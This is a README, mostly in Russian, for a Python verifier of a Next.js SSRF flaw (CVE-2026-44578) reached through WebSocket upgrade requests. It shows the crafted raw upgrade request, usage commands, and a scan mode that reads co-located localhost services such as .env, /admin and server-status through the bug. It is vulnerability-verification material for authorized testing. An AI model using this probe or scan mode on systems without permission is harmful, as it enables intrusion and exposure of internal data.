
OOB-верификатор для GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (SSRF через WebSocket-upgrade в Next.js)
In-band верификатор для GHSA-c4j6-fc7j-m34r / CVE-2026-44578 — Server-Side Request Forgery (SSRF) в Next.js через WebSocket upgrade-запросы.
⚠️ Только для авторизованного тестирования безопасности. Вы несёте ответственность за то, чтобы у вас было разрешение на тестирование каждой цели, которую вы передаёте этому скрипту.
| Поле | Значение |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.6 (высокий) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Затронутые версии | next >=13.4.13 <15.5.16, >=16.0.0 <16.2.5 |
| Исправленные версии | 15.5.16, 16.2.5 |
| Коммит с исправлением | c4f69086 |
| Не затронуты | Размещённые на Vercel; output: "export"; развёртывания за обратным прокси, который не передаёт Upgrade |
Атакующий открывает TCP-соединение к самостоятельно размещённому процессу Next.js и отправляет HTTP/1.1 WebSocket upgrade, чей request-URI является абсолютным URL:
GET http://anything/<path> HTTP/1.1
Host: <target>
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
В resolveRoutes URL содержит // (как и любой абсолютный URI), что соответствует ветке «нормализация повторяющихся слэшей». Эта ветка возвращается раньше времени с { finished: true, statusCode: 308, parsedUrl: <mangled> }. Нормализатор схлопывает http://host/path в http:/host/path (один слэш).
В router-server.ts обработчик upgrade до исправления игнорировал finished/statusCode и проверял только parsedUrl.protocol. Поскольку протокол переживает нормализацию, вызывался proxyRequest(...).
proxyRequest выполняет url.format(parsedUrl) над искажённым URL, получая http:/host:port/path. http-proxy разбирает этот target, не находит host (url.parse('http:/...').host === null) и откатывается к своему назначению по умолчанию: localhost:80 (или localhost:443 для https).
Таким образом, на практике SSRF позволяет заставить Next открыть WebSocket upgrade на собственные localhost:80 / localhost:443 хоста Next.js с путём, контролируемым атакующим.
Исправление (коммит c4f69086) заставило обработчик upgrade проверять finished && !statusCode перед проксированием. Случай с 308-нормализацией теперь не проходит проверку !statusCode, и сокет вместо этого закрывается.
Прокси никогда не достигает внешнего хоста. Если вы настроите interactsh / Burp Collaborator / webhook canary и ожидаете, что процесс Next «позвонит домой», этого не произойдёт — соединение уходит на localhost целевой машины. Поэтому данный верификатор использует in-band сигнал, читаемый из upgrade-сокета: уязвимый сервер возвращает распознаваемое тело ошибки, исправленный сервер не возвращает ничего.
Цель SSRF ограничена, но всё ещё значима в реальных развёртываниях:
127.0.0.1:80 или :443 и доверяют запросам с localhost.127.0.0.1:80 (редко, но встречается).Метаданные-эндпоинты AWS / GCP / Azure (169.254.169.254) не доступны напрямую, поскольку баг привязывает назначение к localhost.
Для каждой цели скрипт открывает сырой TCP (или TLS) сокет, отправляет сформированный upgrade, читает ответ и формирует два сигнала:
verdict — присутствует ли баг.impact_confirmed — действительно ли SSRF извлёк данные (т.е. совмещённый сервис на localhost:80/443 цели ответил, и мы получили его ответ).| Ответ | Вердикт | impact_confirmed |
|---|---|---|
Содержит Internal Server Error | vulnerable | false — баг доказан, но прокси ничего не нашёл на localhost |
Начинается с HTTP/1. | vulnerable_proxy_succeeded | true — реальные данные ответа извлечены |
| Пустой ответ / чистое закрытие | likely_patched | false — также покрывает «не Next», «обратный прокси срезал Upgrade», «Vercel» |
| Идентичен контрольному запросу без Upgrade | front_end_intercepts | false — фронт-енд прокси перехватил оба зонда; SSRF так и не достиг Next |
| Всё остальное | inconclusive | false |
Когда impact_confirmed равен true, JSON-вывод также включает upstream_status, upstream_server и upstream_content_type, извлечённые из утёкшего ответа (полезно для разбора инцидента / написания отчёта).
По умолчанию каждая цель также получает контрольный зонд с той же строкой запроса с абсолютным URI, но без заголовков Upgrade (Connection: close). Если фронт-енд возвращает одинаковый ответ на оба зонда (строка статуса + размер в пределах допуска), значит, собственный фронт-енд хоста отклоняет саму строку запроса с абсолютным URI — nginx 400, Apache 400, CDN edge — и SSRF так и не достиг Next. Вердикт понижается до front_end_intercepts, а JSON-вывод включает front_end_status и front_end_server, извлечённые из ответа прокси, чтобы оператор мог определить, что перехватывает запросы.
Это устраняет реальное ложное срабатывание, наблюдаемое, когда самостоятельно размещённый Next находится за nginx/Apache: эти прокси отклоняют строку запроса зонда GET http:///x HTTP/1.1 стандартной ошибкой 400, которую детектор раньше ошибочно принимал за vulnerable_proxy_succeeded. Передайте --no-control-probe, чтобы отказаться от проверки и увидеть сырые вердикты.
# single target
python3 verify_ghsa_c4j6.py --target https://app.example.com
# multiple targets via flag repetition
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# from a file (one target per line; '#' for comments)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# from stdin
cat targets.txt | python3 verify_ghsa_c4j6.py
# JSON Lines output for downstream tooling
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# Enumerate co-located services on the target's localhost:80/443 via the bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# Same, with a custom path list
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
--scan опрашивает встроенный список распространённых путей (модули статуса Apache/nginx, health- и metrics-эндпоинты, Spring Boot Actuator, Go pprof, эндпоинты Docker daemon, распространённые админ-панели, утёкшие конфигурационные файлы, маршруты Elasticsearch и т.д.) через SSRF-гаджет.
По умолчанию режим сканирования выполняет один дополнительный дифференциальный базовый зонд со случайным несуществующим путём для каждой цели. Последующие зонды помечаются DIFF только когда их сигнатура (status, длина тела) отклоняется от базовой — одинаковые 404 от апстрима, который «ничего не нашёл», помечаются как noise и не увеличивают счётчик попаданий. Передайте --no-differential, чтобы сообщать о каждом зонде, достигшем сервиса (прежнее поведение).
Вывод группируется по целям:
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (53 more 404 'noise' paths suppressed) ...
-> 5 differential hit(s) / 58 probes
-> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4
Строки DIFF — это реальные попадания: пути, чей ответ отклонился от базового случайного пути (другой статус, другая длина тела). Строки noise тоже достигли HTTP-сервиса, но вернули такой же скучный ответ, как и базовая линия, — как правило, одинаковые 404, которые оператору не важны. Если каждый зонд — noise и отклонений от базовой линии нет, баг всё ещё присутствует, но на localhost:80/443 этого хоста ничего полезного не слушает.
| Флаг | Описание | По умолчанию |
|---|---|---|
--target URL | Одна цель. Повторяйте для нескольких. | — |
--targets-file PATH | Файл с одной целью на строку. | — |
--probe-path PATH | Путь, используемый в сформированном абсолютном URI. Достигает localhost-сервиса цели по этому пути (логируется с суффиксом токена для каждой цели). | /x |
--scan | Перечисляет распространённые пути в localhost-сервисе каждой цели. Отправляет один дифференциальный базовый зонд на цель плюс список путей. | выкл. |
--scan-paths-file PATH | Пользовательский список путей для режима сканирования (по одному на строку). Подразумевает --scan. | встроенный |
--no-differential | В режиме --scan пропускает базовый зонд и сообщает о каждом зонде, достигшем сервиса (прежнее поведение). | выкл. |
--no-control-probe | Отключает защиту от перехвата запроса фронт-ендом (дополнительный зонд без Upgrade на цель). Полезно, когда точно известно, что цели — это напрямую процессы Next. | выкл. |
--timeout SEC | Таймаут одного сокета. | 5 |
--concurrency N | Количество параллельных зондов. | 10 |
--insecure | Пропустить проверку сертификата TLS. Требуется с --proxy при MITM TLS. | выкл. |
--proxy URL | Туннелирование через HTTP CONNECT прокси (Burp / mitmproxy / ZAP). Поддерживает базовую аутентификацию через http://user:pass@host:port. Требует Python 3.11+ для TLS-целей. | напрямую |
--json | Выдаёт JSON Lines вместо человекочитаемого текста. | выкл. |
Цели могут быть host, host:port или полными http(s)://... URL.
Туннелируйте все зонды через HTTP CONNECT прокси для инспекции в Burp / mitmproxy / OWASP ZAP:
# plain HTTP target via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# HTTPS target via Burp (Burp MITMs TLS — need --insecure or install Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# proxy with basic auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128
Прокси видит CONNECT host:port, за которым следует сырая upgrade-нагрузка, — полезно, когда вы хотите, чтобы Burp логировал/воспроизводил/изменял SSRF-зонды.
Вы можете запустить уязвимую лабораторию пятью командами:
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
Вывод:
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
Повторите с [email protected] — вы должны увидеть verdict=likely_patched.
demo_impact.sh запускает Next на :80 (так что его цель SSRF, привязанная к localhost, является тем же процессом Next) и читает через баг собственный HTML Next. Требуется sudo для привязки привилегированного порта.
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
Ожидаемый вывод заканчивается строкой IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back.
Upgrade, замаскирует уязвимость; скрипт сообщит likely_patched. Если возможно, протестируйте напрямую процесс Next.Internal Server Error теоретически может быть возвращена вышестоящим прокси самостоятельно. Чтобы исключить это, отправьте ту же нагрузку с Connection: close вместо Connection: Upgrade — реально уязвимый Next в этом случае перестаёт возвращать тело Internal Server Error (другой путь выполнения кода).next start по умолчанию использует HTTP/1.1.Тестируйте только те системы, которыми вы владеете или на оценку которых у вас есть явное письменное разрешение.
MIT